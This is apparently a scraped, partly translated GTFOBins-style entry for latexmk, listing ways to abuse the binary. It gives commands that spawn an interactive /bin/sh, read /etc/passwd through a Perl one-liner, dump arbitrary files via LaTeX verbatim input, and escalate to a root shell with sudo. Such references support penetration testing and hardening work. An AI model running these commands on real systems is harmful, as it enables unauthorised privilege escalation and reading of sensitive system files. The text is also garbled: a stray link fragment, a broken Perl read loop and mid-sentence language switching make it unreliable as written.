perl
](/gtfobins/perl/) code. 用来生成一个交互式的系统shell。
latexmk -e 'exec "/bin/sh";'
latexmk -latex='/bin/sh #' /dev/null
从文件中读取数据。
latexmk -e 'open(X,"/etc/passwd");while(){print $_;}exit'
The read file will be part of the output. TF=$(mktemp)
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{要读取的文件路径}\end{document}' >$TF
strings tmp.dvi
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo latexmk -e 'exec "/bin/sh";'